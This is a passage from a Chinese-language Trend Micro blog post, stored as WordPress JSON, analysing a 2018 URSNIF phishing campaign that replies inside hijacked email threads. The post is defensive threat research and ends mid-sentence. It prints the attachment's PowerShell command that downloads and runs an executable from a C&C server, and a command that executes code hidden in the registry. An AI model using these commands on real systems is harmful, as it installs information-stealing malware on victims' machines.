{"id":57671,"date":"2018-10-17T09:00:21","date_gmt":"2018-10-17T01:00:21","guid":{"rendered":"https:\/\/blog.trendmicro.com.tw\/?p=57671"},"modified":"2018-10-17T14:45:32","modified_gmt":"2018-10-17T06:45:32","slug":"%e6%96%b0%e5%9e%8b%e6%85%8b%e7%b6%b2%e8%b7%af%e9%87%a3%e9%ad%9a%e4%bb%a5%e7%86%9f%e4%ba%ba%e5%9b%9e%e4%bf%a1%e6%89%8b%e6%b3%95%e6%95%a3%e7%99%bc%e7%97%85%e6%af%92-%e6%95%99%e8%82%b2%e3%80%81","status":"publish","type":"post","link":"https:\/\/blog.trendmicro.com.tw\/?p=57671","title":{"rendered":"\u65b0\u578b\u614b\u7db2\u8def\u91e3\u9b5a:\u4ee5\u719f\u4eba\u56de\u4fe1\u624b\u6cd5\u6563\u767c\u75c5\u6bd2, \u6559\u80b2\u3001\u91d1\u878d\u53ca\u80fd\u6e90\u7522\u696d\u70ba\u653b\u64ca\u76ee\u6a19"},"content":{"rendered":"<p>\u96d6\u7136\uff0c\u7d55\u5927\u591a\u6578\u7684<a href=\"https:\/\/blog.trendmicro.com.tw\/?p=136\">\u7db2\u8def\u91e3\u9b5a(Phishing)<\/a>\u884c\u653b\u64ca\u52d5\u672c\u8cea\u4e0a\u90fd\u76f8\u7576\u55ae\u7d14\uff0c\u4e5f\u5bb9\u6613\u8fa8\u8b58\uff0c\u56e0\u70ba\u5b83\u5011\u901a\u5e38\u90fd\u5047\u5192\u67d0\u500b\u5408\u6cd5\u6a5f\u69cb\u767c\u4fe1\uff0c\u7136\u5f8c\u96a8\u9644\u60e1\u610f\u6a94\u6848\u6216\u8005\u5728\u5167\u6587\u7576\u4e2d\u5305\u542b\u60e1\u610f\u9023\u7d50\u3002\u4e0d\u904e\uff0c\u6211\u5011\u5728\u4eca\u5e74 9 \u6708\u767c\u73fe\u4e86\u4e00\u6ce2\u5783\u573e\u90f5\u4ef6\u63a1\u7528\u4e86\u4e00\u7a2e\u66f4\u7cbe\u5bc6\u7684\u7db2\u8def\u91e3\u9b5a\u624b\u6cd5\u3002\u9019\u6ce2\u5783\u573e\u90f5\u4ef6\u4f7f\u7528\u4e86\u9810\u5148\u99ed\u5165\u7684\u96fb\u5b50\u90f5\u4ef6\u5e33\u865f\uff0c\u4ee5\u56de\u8986\u73fe\u6709\u96fb\u5b50\u90f5\u4ef6\u5c0d\u8a71\u4e32\u7684\u65b9\u5f0f\u4f86\u6563\u5e03\u60e1\u610f\u7a0b\u5f0f\u3002\u7531\u65bc\u8a72\u90f5\u4ef6\u662f\u767c\u5230\u65e2\u5b58\u7684\u5c0d\u8a71\u4e32\u7576\u4e2d\uff0c\u56e0\u6b64\u5f88\u5bb9\u6613\u8b93\u6536\u4ef6\u4eba\u4e0d\u77e5\u4e0d\u89ba\u4e0a\u7576\u3002\u7b49\u5230\u53d7\u5bb3\u8005\u767c\u73fe\u81ea\u5df1\u906d\u5230\u7db2\u8def\u653b\u64ca\u6642\uff0c\u901a\u5e38\u70ba\u6642\u5df2\u665a\u3002<\/p>\n<p><a href=\"https:\/\/blog.trendmicro.com.tw\/wp-content\/uploads\/2018\/09\/phishing.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-57432\" src=\"https:\/\/blog.trendmicro.com.tw\/wp-content\/uploads\/2018\/09\/phishing.jpg\" alt=\"\" width=\"728\" height=\"303\" data-wp-pid=\"57432\" srcset=\"https:\/\/blog.trendmicro.com.tw\/wp-content\/uploads\/2018\/09\/phishing.jpg 728w, https:\/\/blog.trendmicro.com.tw\/wp-content\/uploads\/2018\/09\/phishing-300x125.jpg 300w, https:\/\/blog.trendmicro.com.tw\/wp-content\/uploads\/2018\/09\/phishing-30x12.jpg 30w, https:\/\/blog.trendmicro.com.tw\/wp-content\/uploads\/2018\/09\/phishing-600x250.jpg 600w\" sizes=\"(max-width: 728px) 100vw, 728px\" \/><\/a><\/p>\n<p>\u6b64\u6ce2\u653b\u64ca\u975e\u5e38\u985e\u4f3c Talos \u5728\u4eca\u5e74\u7a0d\u65e9\u6240\u767c\u73fe\u7684 <a href=\"https:\/\/blog.talosintelligence.com\/2018\/03\/gozi-isfb-remains-active-in-2018.html\">URSNIF\/GOZI \u5783\u573e\u90f5\u4ef6\u653b\u64ca\u884c\u52d5<\/a>\uff0c\u5f8c\u8005\u4f7f\u7528\u7684\u662f\u9810\u5148\u99ed\u5165\u4e26\u6536\u7de8\u81f3 Dark Cloud <a href=\"https:\/\/blog.trendmicro.com.tw\/?p=55176\">\u6bad\u5c4d\u7db2\u8def\uff08botnet\uff09<\/a>\u7684\u96fb\u8166\u4f86\u767c\u9001\u96fb\u5b50\u90f5\u4ef6\u81f3\u5df2\u7d93\u5b58\u5728\u7684\u5c0d\u8a71\u4e32\u7576\u4e2d\u3002\u56e0\u6b64\uff0c\u9019\u6ce2\u884c\u52d5\u5f88\u53ef\u80fd\u662f\u4e0a\u4e00\u6ce2\u653b\u64ca\u7684\u5ef6\u7e8c\u6216\u884d\u751f\u653b\u64ca\u3002<\/p>\n<p><u><a href=\"https:\/\/www.trendmicro.com.tw\/edm\/Tracking.asp?id=2651&amp;name=20110916\">\u8da8\u52e2\u79d1\u6280<\/a><\/u>\u5f9e\u76ee\u524d\u8490\u96c6\u5230\u7684\u6240\u6709\u8cc7\u6599\u7576\u4e2d\u767c\u73fe\uff0c\u9019\u6ce2\u884c\u52d5\u4e3b\u8981\u653b\u64ca\u5317\u7f8e\u548c\u6b50\u6d32\u5730\u5340\uff0c\u4f46\u6211\u5011\u4e5f\u5728\u4e9e\u6d32\u548c\u62c9\u4e01\u7f8e\u6d32\u5730\u5340\u767c\u73fe\u4e00\u4e9b\u96f6\u661f\u7684\u985e\u4f3c\u653b\u64ca\u3002\u800c\u653b\u64ca\u7684\u76ee\u6a19\u4ee5\u6559\u80b2\u3001\u91d1\u878d\u53ca\u80fd\u6e90\u7522\u696d\u70ba\u4e3b\uff0c\u4e0d\u904e\u4e5f\u51fa\u73fe\u5728\u623f\u5730\u7522\u3001\u904b\u8f38\u3001\u88fd\u9020\u548c\u653f\u5e9c\u6a5f\u95dc\u7b49\u5176\u4ed6\u7522\u696d\u3002<\/p>\n<p><strong>\u7559\u610f\u8b66\u8a0a<\/strong><\/p>\n<p>\u70ba\u4e86\u8aaa\u660e\u9019\u6ce2\u7db2\u8def\u91e3\u9b5a\u653b\u64ca\u7684\u53ef\u4fe1\u5ea6\u6709\u591a\u9ad8\uff0c\u6211\u5011\u5728\u4e0b\u9762\u9644\u4e86\u4e00\u500b\u96fb\u5b50\u90f5\u4ef6\u6a23\u672c (\u5982\u5716)\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/blog.trendmicro.com\/trendlabs-security-intelligence\/files\/2018\/10\/URSNIF-Phishing-1.png\" alt=\" Figure 1. Example of a malicious email that is used to reply to a conversation\" \/><\/p>\n<p><em>\u5716 1\uff1a\u56de\u8986\u67d0\u96fb\u5b50\u90f5\u4ef6\u5c0d\u8a71\u4e32\u7684\u60e1\u610f\u96fb\u5b50\u90f5\u4ef6\u6a23\u672c\u3002<\/em><\/p>\n<p>\u7531\u65bc\u4fe1\u4ef6\u662f\u4f86\u81ea\u719f\u4eba\uff0c\u800c\u4e14\u662f\u56de\u8986\u73fe\u6709\u7684\u5c0d\u8a71\u4e32\uff0c\u56e0\u6b64\u5f88\u5bb9\u6613\u8b93\u6536\u4ef6\u4eba\u4e0d\u7591\u6709\u8a50\u3002\u9664\u6b64\u4e4b\u5916\uff0c\u4fe1\u4ef6\u7684\u4e3b\u65e8\u548c\u6587\u6cd5\u4e5f\u4f3c\u4e4e\u6c92\u4ec0\u9ebc\u932f\u8aa4\uff0c\u751a\u81f3\u4fe1\u4ef6\u7d50\u5c3e\u9084\u9644\u4e0a\u500b\u4eba\u7c3d\u540d\u3002<!--more--><\/p>\n<p>\u4e0d\u904e\uff0c\u5982\u679c\u4ed4\u7d30\u89c0\u5bdf\u4e00\u4e0b\u5c31\u6703\u767c\u73fe\u9019\u5c01\u96fb\u5b50\u90f5\u4ef6\u9084\u662f\u6709\u53ef\u7591\u4e4b\u8655\u3002\u6700\u660e\u986f\u4e5f\u6700\u5927\u81bd\u7684\u5c31\u662f\u539f\u672c\u7684\u5c0d\u8a71\u4e32\u4f7f\u7528\u7684\u662f\u6cd5\u6587\uff0c\u7a81\u7136\u5192\u51fa\u4e00\u5c01\u82f1\u6587\u7684\u56de\u8986\u90f5\u4ef6\u3002\u6b64\u5916\uff0c\u60e1\u610f\u90f5\u4ef6\u7684\u7c3d\u540d\u4e5f\u8207\u6b63\u5e38\u90f5\u4ef6\u7684\u7c3d\u540d\u6a23\u5f0f\u4e0d\u540c\u3002\u6700\u5f8c\uff0c\u60e1\u610f\u90f5\u4ef6\u7684\u5167\u5bb9\u76f8\u7576\u7a7a\u6cdb\uff0c\u800c\u4e14\u53ef\u80fd\u8ddf\u5c0d\u8a71\u4e32\u7684\u5167\u5bb9\u6709\u9ede\u4e0d\u76f8\u5e72\uff0c\u9019\u96d6\u7136\u4e0d\u80fd\u7b97\u662f\u653b\u64ca\u7684\u76f4\u63a5\u8b49\u64da\uff0c\u4f46\u4e5f\u7b97\u662f\u4e00\u7a2e\u8b66\u8a0a\u3002\u4e0d\u904e\uff0c\u6536\u4ef6\u4eba\u53ef\u80fd\u4e0d\u6703\u4e00\u773c\u5c31\u6ce8\u610f\u5230\u9019\u4e9b\u7d30\u7bc0\uff0c\u5c24\u5176\u5c0d\u65bc\u6bcf\u5929\u5fc5\u9808\u8655\u7406\u5927\u91cf\u90f5\u4ef6\u7684\u4eba\u4f86\u8aaa\u3002<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/blog.trendmicro.com\/trendlabs-security-intelligence\/files\/2018\/10\/URSNIF-Phishing-2.png\" alt=\" Figure 2. Comparison between the malicious email and a legitimate one. Note the difference in language and the changed signature \" \/><\/p>\n<p><em>\u5716 2\uff1a\u60e1\u610f\u90f5\u4ef6\u8207\u6b63\u5e38\u90f5\u4ef6\u6bd4\u8f03\u3002\u8acb\u7279\u5225\u7559\u610f\u5176\u6240\u7528\u8a9e\u8a00\u8207\u7c3d\u540d\u6a23\u5f0f\u4e0d\u540c\u3002<\/em><\/p>\n<p><strong>\u67e5\u770b\u96fb\u5b50\u90f5\u4ef6\u6a19\u982d<\/strong><\/p>\n<p>\u5728\u6aa2\u67e5\u96fb\u5b50\u90f5\u4ef6\u6a19\u982d\u8cc7\u6599\u4e4b\u5f8c\uff0c<u><a href=\"https:\/\/www.trendmicro.com.tw\/edm\/Tracking.asp?id=2651&amp;name=20110916\">\u8da8\u52e2\u79d1\u6280<\/a><\/u>\u4e5f\u767c\u73fe\u4e86\u9019\u6ce2\u653b\u64ca\u6709\u4e9b\u4ee4\u4eba\u73a9\u5473\u4e4b\u8655\u3002<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/blog.trendmicro.com\/trendlabs-security-intelligence\/files\/2018\/10\/URSNIF-Phishing-3-1.png\" alt=\" Figure 3. The anonymized email header of the malicious message\" \/><\/p>\n<p><em>\u5716 3\uff1a\u60e1\u610f\u90f5\u4ef6\u7684\u533f\u540d\u5316\u96fb\u5b50\u90f5\u4ef6\u6a19\u982d\u3002<\/em><\/p>\n<p>\u6709\u4e09\u500b\u5730\u65b9\u503c\u5f97\u6ce8\u610f\uff1a<\/p>\n<ol>\n<li>\u4e00\u822c\u7684\u5783\u573e\u90f5\u4ef6\uff0c\u5176 SMTP \u6a19\u982d\u7684\u5bc4\u4ef6\u4eba\u6b04\u4f4d\u901a\u5e38\u662f\u5047\u7684\uff0c\u4f46\u300cReturn-Path\u300d\u6216\u300cReply-To\u300d\u9019\u5169\u500b\u56de\u8986\u5730\u5740\u6b04\u4f4d\u901a\u5e38\u662f\u771f\u7684\u3002\u5982\u6b64\uff0c\u7576\u53d7\u5bb3\u8005\u4e0a\u7576\u56de\u8986\u90f5\u4ef6\u6642\uff0c\u6b79\u5f92\u624d\u80fd\u6536\u5230\u90f5\u4ef6\u3002\u4f46\u5728\u6211\u5011\u63a1\u96c6\u5230\u7684\u6a23\u672c\u7576\u4e2d\u537b\u770b\u4e0d\u5230\u9019\u5169\u500b\u6b04\u4f4d\uff0c\u6240\u4ee5\uff0c\u6240\u6709\u7684\u56de\u8986\u4fe1\u4ef6\u90fd\u6703\u56de\u5230\u5bc4\u4ef6\u4eba\u7684\u4fe1\u7bb1\uff0c\u4e5f\u5c31\u662f\u6b79\u5f92\u7528\u4f86\u767c\u4fe1\u7684\u5e33\u865f\u3002\u56e0\u6b64\u6b79\u5f92\u6975\u53ef\u80fd\u5df2\u5b8c\u5168\u638c\u63e1\u4e86\u8a72\u5e33\u865f\u3002<\/li>\n<li>\u6b64\u5916\uff0c\u4fe1\u4e2d\u5305\u542b\u4e86\u300cIn-Reply-To\u300d\u6a19\u982d\u6b04\u4f4d (\u4ee5\u53ca\u5176\u4ed6\u985e\u4f3c\u7684 SMTP \u6b04\u4f4d)\uff0c\u9019\u986f\u793a\u9019\u5c01\u8a0a\u606f\u662f\u56de\u8986\u539f\u672c\u5df2\u7d93\u5b58\u5728\u7684\u96fb\u5b50\u90f5\u4ef6\u5c0d\u8a71\u4e32\u3002<\/li>\n<li>\u8a72\u90f5\u4ef6\u7684\u7b2c\u4e00\u500b\u8f49\u8df3\u7bc0\u9ede\u662f\u300c<a href=\"https:\/\/rrcs-50-74-218-2.nyc.biz.rr.com\">rrcs-50-74-218-2.nyc.biz.rr.com<\/a>\u300d\u3002\u5c0d\u4e00\u500b\u5bb6\u5ead\u4f7f\u7528\u8005\u4f86\u8aaa\uff0c\u9019\u6a23\u7684\u4f4d\u5740\u7b97\u662f\u76f8\u7576\u7a00\u9b06\u5e73\u5e38\uff0c\u4f46\u5982\u679c\u662f\u516c\u53f8\u7684\u96fb\u5b50\u90f5\u4ef6\u5e33\u865f\uff0c\u9664\u975e\u662f\u9060\u7aef\u5de5\u4f5c\u8005\uff0c\u5426\u5247\u5176\u90f5\u4ef6\u4e00\u958b\u59cb\u61c9\u8a72\u662f\u5f9e\u4f01\u696d\u5167\u90e8\u7684\u4f3a\u670d\u5668\u9001\u51fa\u624d\u5c0d (\u4e5f\u5c31\u662f\u5f9e\u300csender.co.ca\u300d\u7db2\u57df\u5167\u7684\u67d0\u53f0\u4e3b\u6a5f)\u3002<\/li>\n<\/ol>\n<p>\u5f9e\u4ee5\u4e0a\u5404\u7a2e\u56e0\u7d20\u4f86\u770b\uff0c\u5f88\u6709\u53ef\u80fd\u4e0d\u8ad6\u96fb\u5b50\u90f5\u4ef6\u5e33\u865f\u539f\u672c\u4f4d\u65bc\u54ea\u500b\u570b\u5bb6\uff0c\u6b79\u5f92\u7684\u96fb\u5b50\u90f5\u4ef6\u90fd\u662f\u5f9e\u7f8e\u570b\u767c\u51fa\u3002\u4f8b\u5982\u4e0a\u8ff0\u7bc4\u4f8b\u7576\u4e2d\uff0c\u5bc4\u4ef6\u4eba\u5730\u5740\u7684\u570b\u78bc\u662f\u300c.ca\u300d\uff0c\u8868\u793a\u9019\u500b\u96fb\u5b50\u90f5\u4ef6\u5e33\u865f\u61c9\u8a72\u662f\u4f4d\u65bc\u52a0\u62ff\u5927\u3002<\/p>\n<p>\u82e5\u518d\u6df1\u5165\u7814\u7a76\u5c31\u80fd\u767c\u73fe\uff0c\u9019\u53f0\u767c\u4fe1\u7684\u4e3b\u6a5f\u4e5f\u4ee5\u8a31\u591a\u4e0d\u540c\u7684\u96fb\u5b50\u90f5\u4ef6\u5730\u5740\u767c\u9001\u4e86\u597d\u591a\u4fe1\u4ef6\uff0c\u800c\u4e14\u5168\u90fd\u5728 2018 \u5e74 9 \u6708\u671f\u9593\u3002<\/p>\n<p>\u6b64\u5916\uff0c\u6211\u5011\u4e5f\u6ce8\u610f\u5230\uff0c\u99ed\u5ba2\u901a\u5e38\u6703\u5c07\u9644\u4ef6\u6a94\u6848\u7684\u540d\u7a31\u53d6\u5f97\u8ddf\u5bc4\u4ef6\u4eba\u6240\u5c6c\u6a5f\u69cb\u540d\u7a31\u76f8\u540c\uff0c\u9019\u6a23\u505a\u61c9\u8a72\u662f\u70ba\u4e86\u63d0\u9ad8\u53ef\u4fe1\u5ea6\u3002\u9644\u4ef6\u6a94\u540d\u7684\u683c\u5f0f\u901a\u5e38\u70ba <em>[\u5bc4\u4ef6\u4eba\u516c\u53f8\u540d\u7a31]+[\u67d0\u500b\u8207\u5c0d\u8a71\u4e32\u76f8\u95dc\u7684\u52d5\u8a5e\uff0c\u4f8b\u5982 Inquiry (\u8a62\u554f)\u6216 request (\u8acb\u6c42)].doc<\/em>\u6216\u8005\u55ae\u7d14\u53ea\u662f <em>[\u5bc4\u4ef6\u4eba\u516c\u53f8\u540d\u7a31].doc<\/em>\u3002\u7531\u65bc\u5bc4\u4ef6\u4eba\u548c\u6a94\u6848\u540d\u7a31\u76f8\u7b26\uff0c\u6240\u4ee5\u4fe1\u4ef6\u4e4d\u770b\u8d77\u4f86\u53ef\u4fe1\u5ea6\u883b\u9ad8\u3002\u5728\u67d0\u4e9b\u60c5\u6cc1\uff0c\u6211\u5011\u4e5f\u6ce8\u610f\u5230\u6b79\u5f92\u6703\u4f7f\u7528\u4e00\u4e9b\u5f88\u901a\u7528\u7684\u6a94\u6848\u540d\u7a31\uff0c\u4f8b\u5982\u300cInquiry\u300d(\u8a62\u554f)\u3001\u300cStatement\u300d(\u8072\u660e) \u548c\u300cRequest\u300d(\u8acb\u6c42)\u3002<\/p>\n<p>\u5f9e\u90f5\u4ef6\u6a19\u982d\u7684\u5167\u5bb9\u6211\u5011\u53ef\u4ee5\u63a8\u6e2c\uff0c\u6b79\u5f92\u61c9\u8a72\u662f\u5df2\u7d93\u638c\u63e1\u4e86\u67d0\u500b\u5408\u6cd5\u7684\u96fb\u5b50\u90f5\u4ef6\u5e33\u865f\uff0c\u7136\u5f8c\u518d\u5229\u7528\u9019\u500b\u5e33\u865f\u4f86\u5f9e\u4e8b\u985e\u4f3c<u><a href=\"https:\/\/blog.trendmicro.com.tw\/?p=16295\">\u8b8a\u81c9\u8a50\u9a19\u653b\u64ca\u6216\u7a31\u70ba\u5546\u52d9\u96fb\u5b50\u90f5\u4ef6\u5165\u4fb5(Business Email Compromise, BEC)<\/a><\/u>\u7684\u653b\u64ca\u3002\u5c31\u5176\u624b\u6cd5\u548c\u6280\u5de7\u4f86\u770b\uff0c\u6211\u5011\u61f7\u7591\u9019\u6ce2\u65b0\u7684\u5783\u573e\u90f5\u4ef6\u6709\u53ef\u80fd\u662f\u7a0d\u65e9 URSNIF\/GOZI \u5783\u573e\u90f5\u4ef6\u653b\u64ca\u884c\u52d5\u7684\u5ef6\u7e8c\u3002\u6709\u4e00\u7a2e\u53ef\u80fd\u6027\u662f\uff0c\u524d\u8ff0\u5bc4\u4ef6\u4eba\u7684 IP \u4f4d\u5740\u662f\u67d0\u53f0\u5df2\u7d93\u906d\u6b79\u5f92\u5165\u4fb5\u7684\u96fb\u8166\uff0c\u4e26\u4e14\u5df2\u88ab\u6536\u7de8\u5230\u6b79\u5f92\u7684\u6bad\u5c4d\u7db2\u8def\u65d7\u4e0b\u3002<\/p>\n<p><strong>\u60e1\u610f\u6a94\u6848\u5206\u6790\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/strong><\/p>\n<p>\u5982\u679c\u4f7f\u7528\u8005\u9ede\u5169\u4e0b\u96a8\u9644\u7684\u60e1\u610f .doc \u6a94\u6848\uff0c\u5c31\u6703\u547c\u53eb PowerShell \u7cfb\u7d71\u5de5\u5177\u5230\u67d0\u500b\u5e55\u5f8c\u64cd\u7e31 (C&amp;C) \u4f3a\u670d\u5668\u4e0b\u8f09\u6700\u65b0\u7248\u7684 URSNIF \u60e1\u610f\u7a0b\u5f0f (\u8da8\u52e2\u79d1\u6280\u547d\u540d\u70ba TSPY_URSNIF.THAOOCAH)\uff0c\u4e26\u57f7\u884c\u5176\u4e0b\u8f09\u7684\u6a94\u6848\uff1a<\/p>\n<ul>\n<li><em>powershell $VWc=new-object Net.WebClient;$wIt=\u2019http: \/\/t95dfesc2mo5jr. com\/RTT\/opanskot.php?l=targa2.tkn\u2019.Split(\u2018@\u2019);$jzK = \u2018369\u2019;$Aiz=$env:public+\u2019\\\u2019+$jzK+\u2019.exe\u2019;foreach($fqd in $wIt){try{$VWc.DownloadFile($fqd, $Aiz);Invoke-Item $Aiz;break;}catch{}}<\/em><\/li>\n<\/ul>\n<p>\u8a72\u6a94\u6848\u662f\u60e1\u610f\u7a0b\u5f0f\u7684\u4e3b\u8981\u8f09\u5165\u5668\u3002\u4e0d\u904e\uff0c\u5728\u57f7\u884c\u60e1\u610f\u884c\u70ba\u4e4b\u524d\uff0c\u5b83\u6703\u5148\u6aa2\u67e5\u4f5c\u696d\u7cfb\u7d71\u7248\u672c\uff0c\u56e0\u70ba\u8a72\u7a0b\u5f0f\u53ea\u80fd\u5728 Microsoft \u4f5c\u696d\u7cfb\u7d71\u4e0a\u57f7\u884c\uff0c\u66f4\u78ba\u5207\u4e00\u9ede\u662f Windows Vista \u8207\u66f4\u65b0\u7684\u7248\u672c\u3002\u9664\u6b64\u4e4b\u5916\uff0c\u5b83\u9084\u6703\u907f\u958b\u4e00\u4e9b\u5730\u5340\uff0c\u4f8b\u5982\u4e2d\u570b\u548c\u4fc4\u7f85\u65af\u3002<\/p>\n<p>\u4e3b\u8981\u8f09\u5165\u5668\u6703\u7ba1\u7406\u6574\u500b\u57f7\u884c\u904e\u7a0b\u4e26\u5c07\u4e8b\u4ef6\u8a18\u9304\u5728\u4e00\u500b\u6587\u5b57\u6a94\u5167\uff1a<\/p>\n<ul>\n<li>%User Temp%\\{\u66ab\u5b58\u6a94\u540d}.bin<\/li>\n<\/ul>\n<p><img decoding=\"async\" src=\"https:\/\/blog.trendmicro.com\/trendlabs-security-intelligence\/files\/2018\/10\/URSNIF-Phishing-4.png\" alt=\" Figure 4. Logs of the malware\u00e2\u0080\u0099s loader\" \/><\/p>\n<p><em>\u5716 4\uff1a\u60e1\u610f\u7a0b\u5f0f\u8f09\u5165\u5668\u8a18\u9304\u6a94\u7684\u5167\u5bb9\u3002<\/em><\/p>\n<p>\u6b64\u5916\uff0c\u5b83\u9084\u6703\u5f9e C&amp;C \u4f3a\u670d\u5668\u4e0b\u8f09\u5176\u4ed6\u6a21\u7d44\u4e26\u5132\u5b58\u5728\u7cfb\u7d71\u767b\u9304\u7576\u4e2d\uff0c\u4f4d\u7f6e\u5728\uff1a<em>HKEY_CURRENT_USER\\Software\\AppDataLow\\Software\\Microsoft\\3A861D62-51E0-15700F2219A4<\/em>\u3002<\/p>\n<p>\u4e0b\u5716\u986f\u793a\u6b79\u5f92\u7522\u751f\u7684\u7cfb\u7d71\u767b\u9304\u6a5f\u78bc\u548c\u6578\u503c\uff0c\u88e1\u9762\u5132\u5b58\u8457\u4e00\u4e9b\u8173\u672c\u548c\u4e8c\u9032\u4f4d\u7a0b\u5f0f\u78bc\u3002<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/blog.trendmicro.com\/trendlabs-security-intelligence\/files\/2018\/10\/URSNIF-Phishing-5.png\" alt=\" Figure 5. The registry key and entries containing scripts and binaries\" \/><\/p>\n<p><em>\u5716 5\uff1a\u542b\u6709\u8173\u672c\u548c\u4e8c\u9032\u4f4d\u7a0b\u5f0f\u78bc\u7684\u7cfb\u7d71\u767b\u9304\u6a5f\u78bc\u548c\u6578\u503c\u3002<\/em><\/p>\n<p>\u8acb\u6ce8\u610f\uff0c\u96d6\u7136\u9019\u4e9b\u6a5f\u78bc\u548c\u67d0\u4e9b\u6578\u503c\u7684\u540d\u7a31\u6703\u96a8\u6bcf\u53f0\u96fb\u8166\u800c\u4e0d\u540c\uff0c\u4f46\u5176\u6a5f\u78bc\u4f4d\u7f6e\u6c38\u9060\u5728\u300c<em>HKCU\\Software\\AppDataLow\\Software\\Microsoft\\<\/em>\u300d\u5e95\u4e0b\u3002<\/p>\n<p>\u5f85\u9700\u8981\u7684\u5143\u4ef6\u4e0b\u8f09\u4e4b\u5f8c\uff0c\u5c31\u6703\u57f7\u884c <em>comsxRes<\/em> (\u6b64\u540d\u7a31\u6703\u6539\u8b8a) \u6578\u503c\u7576\u4e2d\u5132\u5b58\u7684 Powershell \u8173\u672c\u3002\u4ee5\u4e0b\u7684\u6307\u4ee4\u5217\u53c3\u6578\u793a\u7bc4\u99ed\u5ba2\u5982\u4f55\u904b\u7528\u7cfb\u7d71\u767b\u9304\u7576\u4e2d\u7684 16 \u9032\u4f4d\u6578\u503c\u3002<\/p>\n<ul>\n<li><em>exe \/C powershell invoke-expression([System.Text.Encoding]::ASCII.GetString((get-itemproperty <\/em><em>\u2018<\/em><em>HKCU:\\Software\\AppDataLow\\Software\\Microsoft\\3A861D62-51E0-7C9D-AB0E-15700F2219A4<\/em><em>\u2019<\/em><em><em>).comsxRes<\/em><\/em><img decoding=\"async\" src=\"https:\/\/blog.trendmicro.com\/trendlabs-security-intelligence\/files\/2018\/10\/URSNIF-Phishing-6.png\" alt=\" Figure 6. Hex values of comsxRes \" \/><\/li>\n<\/ul>\n<p><em>\u5716 6\uff1acomsxRes \u4e2d\u7684 16 \u9032\u4f4d\u6578\u503c\u3002<\/em><\/p>\n<p>\u6b64\u5916\uff0c\u99ed\u5ba2\u63a1\u7528\u7684\u662f\u7121\u6a94\u6848\u5f0f\u57f7\u884c\u7a0b\u5e8f\uff0c\u4e00\u958b\u59cb\u662f\u5229\u7528\u9019\u500b\u8173\u672c\u4f86\u8f09\u5165\u7cfb\u7d71\u767b\u9304\u5167\u5132\u5b58\u7684\u4e8c\u9032\u4f4d\u7a0b\u5f0f\u78bc\u3002\u5728\u4e0b\u5716\u7576\u4e2d\uff0c\u6211\u5011\u5c07\u4e8c\u9032\u4f4d\u8cc7\u6599\u90e8\u5206\u5167\u5bb9\u63db\u6210\u300c&#8211;{hex-encoded binary}&#8211;\u300d\u4ee5\u986f\u793a\u5b8c\u6574\u7684\u7a0b\u5f0f\u78bc\u3002\u5728\u539f\u59cb\u7684\u8173\u672c\u7576\u4e2d\uff0c\u5176\u672b\u7aef\u9084\u63a1\u7528\u4e86 base64 \u7de8\u78bc\uff0c\u9019\u90e8\u5206\u6211\u5011\u4e5f\u5c07\u5b83\u89e3\u958b\u4ee5\u65b9\u4fbf\u95b1\u8b80\u3002<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/blog.trendmicro.com\/trendlabs-security-intelligence\/files\/2018\/10\/URSNIF-Phishing-7.png\" alt=\" Figure 7. Code of the embedded binary that is stored in the registry\" \/><\/p>\n<p><em>\u5716 7\uff1a\u7cfb\u7d71\u767b\u9304\u5167\u5132\u5b58\u7684\u4e8c\u9032\u4f4d\u5167\u5d4c\u7a0b\u5f0f\u78bc\u3002<\/em><\/p>\n<p>\u5b83\u6703\u5728\u7522\u751f\u7684\u7cfb\u7d71\u767b\u9304\u6a5f\u78bc\u7576\u4e2d\u641c\u5c0b\u300cClient32\u300d\u6216\u300cClient64\u300d\u6578\u503c\u7136\u5f8c\u5c07\u5c0d\u61c9\u7684\u7a0b\u5f0f\u78bc\u6ce8\u5165\u300cexplorer.exe\u300d(Windows \u6a94\u6848\u7ba1\u7406\u54e1) \u7576\u4e2d\u4f86\u5e38\u99d0\u8a18\u61b6\u9ad4\u5167\u3002\u7cfb\u7d71\u767b\u9304\u4e2d\u7684\u5176\u4ed6\u6578\u503c\u5c0d\u5f8c\u7e8c\u7684\u52d5\u4f5c\u975e\u5e38\u91cd\u8981\uff0c\u56e0\u70ba\u88ab\u6ce8\u5165\u7684\u60e1\u610f\u7a0b\u5f0f\u78bc\u5728\u5f8c\u9762\u6703\u7528\u5230\u9019\u4e9b\u6578\u503c\u3002\u4f8b\u5982\uff0c\u300cTorClient\u300d\u6578\u503c\u662f\u7528\u4f86\u8b93\u60e1\u610f\u7a0b\u5f0f\u53ef\u4ee5\u7d93\u7531 TOR \u7db2\u8def\u8ddf C&amp;C \u4f3a\u670d\u5668\u901a\u8a0a\u3002<\/p>\n<p><strong>\u8cc7\u8a0a\u7aca\u53d6\u884c\u70ba<\/strong><\/p>\n<p>\u6700\u7d42\u7684\u60e1\u610f\u6a94\u6848\u662f\u4e00\u500b\u540d\u70ba\u300cClient32\u300d\u6216\u300cClient64\u300d\u7684 DLL \u6a94\u6848\uff0c\u8996\u4e3b\u6a5f\u7684\u7cfb\u7d71\u67b6\u69cb\u800c\u5b9a\u3002\u540c\u6a23\u7684\uff0c\u9019\u500b DLL 